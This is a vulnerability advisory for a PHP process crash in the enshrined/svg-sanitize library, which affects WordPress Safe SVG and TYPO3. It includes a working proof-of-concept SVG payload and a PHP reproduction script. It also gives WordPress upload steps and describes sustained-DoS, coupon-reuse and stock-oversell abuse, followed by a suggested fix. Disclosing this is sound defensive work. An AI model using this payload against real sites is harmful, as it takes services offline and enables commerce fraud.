PT-2026-108678 · Packagist · Enshrined/Svg-Sanitize

Publicado

2026-10-08

·

Atualizado

2026-10-08

CVSS v3.1

6.5

Média

VetorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

A crafted SVG file (1009 bytes) crashes the PHP process when sanitized by enshrined/svg-sanitize (any version through 0.22.x). The sanitizer's cleanAttributesOnWhitelist() method calls DOMElement::removeAttribute() twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD #FIXED default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker.
Affected installations:
  • enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents
  • WordPress Safe SVG plugin: 1M+ active installs
  • TYPO3: svg-sanitize integrated into core since v9
  • Drupal: community module wrapping svg-sanitize

Vulnerability Details

Trigger Flow

Sanitizer::sanitize($malicious svg)
 → DOMDocument::loadXML() — parses DTD, creates XML ATTRIBUTE DECL for #FIXED attr
 → startClean() → cleanAttributesOnWhitelist($svgElement)
  → "badhref" NOT in allowedAttrs
  → removeAttribute("badhref")     ← removes explicit attribute (safe)
  → stripos("badhref", "href") = TRUE
  → getAttribute("badhref")       ← returns DTD #FIXED default value
  → isHrefSafeValue("javascript:x")  ← returns FALSE
  → removeAttribute("badhref")     ← hits XML ATTRIBUTE DECL → CRASH
Root cause in svg-sanitize: The sanitizer does not strip DOCTYPE/DTD declarations before processing. The cleanAttributesOnWhitelist() method at Sanitizer.php:303-330 has a double-removal pattern where the whitelist check and the href safety check can both call removeAttribute() on the same attribute name. When a DTD #FIXED default exists, the second call targets the DTD declaration node, triggering a PHP crash.
Second trigger path in cleanHrefAttributes() (Sanitizer.php:354): case-normalization of HrEf → href calls removeAttribute() then setAttribute() on the DTD default.

WordPress Code Path

User uploads SVG → WordPress wp handle upload()
 → filter 'wp handle upload prefilter'
 → SafeSvgsafe svg::check for svg()    [safe-svg.php:176]
 → SafeSvgsafe svg::sanitize($tmp file)   [safe-svg.php:218]
 → enshrinedSanitizer::sanitize($contents)  [Sanitizer.php:193]
 → cleanAttributesOnWhitelist() → double removeAttribute → CRASH
 → PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502

Proof of Concept

Malicious SVG (evil.svg)

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
 <!ATTLIST svg badhref CDATA #FIXED "javascript:alert(1)">
]>
<svg xmlns="http://www.w3.org/2000/svg" badhref="javascript:alert(1)" viewBox="0 0 100 100">
 <rect width="100" height="100" fill="red"/>
</svg>

Standalone reproduction

php
<?php
require once 'vendor/autoload.php';

$svg = file get contents('evil.svg');
$sanitizer = new enshrinedsvgSanitizeSanitizer();
$clean = $sanitizer->sanitize($svg);
echo "Sanitized: " . strlen($clean) . " bytes
";
// Process crashes at exit: munmap chunk(): invalid pointer, exit code 134

WordPress reproduction

  1. WordPress (any version) + Safe SVG plugin (any version through 2.4.0)
  2. Login as Author → Media → Add New → upload evil.svg
  3. Result: HTTP 502 Bad Gateway, PHP-FPM worker killed

Confirmed output

$ docker exec wordpress php /tmp/test.php
Sanitized: 157 bytes
munmap chunk(): invalid pointer
$ echo $?
134

PHP-FPM log:
[WARNING] [pool www] child 17 exited on signal 6 (SIGABRT)

Impact

Full Site Denial of Service

With pm.max children = N: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS.

Application State Corruption

SIGABRT bypasses register shutdown function(). On WordPress + WooCommerce:
  • Coupon bypass: usage count increment skipped → unlimited reuse of single-use coupons
  • Stock oversell: stock reduction not committed → multiple orders for 1-stock items
  • Cron starvation: wp cron blocked → scheduled cleanup (unpaid order cancellation) never runs → stock held indefinitely

Attack surface

Safe SVG hooks wp handle upload prefilter (safe-svg.php line 152). The hook fires when code calls wp handle upload() or wp handle sideload().
Note: Popular form plugins (Contact Form 7, WPForms) use move uploaded file() directly, bypassing WordPress's upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls wp handle upload() is affected.
ScenarioAuthenticationAffected installs
WordPress (default Safe SVG) — Media uploadAuthor role (upload files cap)1M+
WordPress — REST API POST /wp/v2/mediaAuthor role1M+
WordPress — plugins using wp handle upload() for public uploadsVaries by pluginPlugin-dependent
Custom PHP app with svg-sanitize on public endpointOften none45M+ downloads
TYPO3 (svg-sanitize in core since v9)Backend editorAll TYPO3 v9+
The strongest pre-auth scenario is custom PHP applications using svg-sanitize directly on public upload endpoints — a common pattern given 45M+ Packagist downloads and 90+ dependent packages.

CVSS

CVSS 3.1: 6.5 (Medium) — default WordPress (Author role)
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
For custom apps with unauthenticated svg-sanitize endpoints: CVSS 7.5 (High) (PR:N)

Suggested Fix

Strip DOCTYPE before parsing — eliminates the trigger regardless of PHP version:
php
// In Sanitizer::sanitize(), before loadXML():
$dirty = preg replace('/<!DOCTYPE[^>]*(?:[.*?])?s*>/si', '', $dirty);

Environment

  • enshrined/svg-sanitize 0.22.x (bundled with Safe SVG 2.4.0)
  • WordPress 6.9.4 + Safe SVG 2.4.0
  • PHP 8.3.24 (fpm), NTS, x86 64
  • nginx + PHP-FPM (Docker)
Reported by ExPatch Security Research — expatch.llc Denis Rostilov

Correção

Allocation of Resources Without Limits

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
dbugs@ptsecurity.com

Enumeração de Fraquezas

CWE-770

Identificadores relacionados

GHSA-V383-3RW5-Q8RF

Produtos afetados

Enshrined/Svg-Sanitize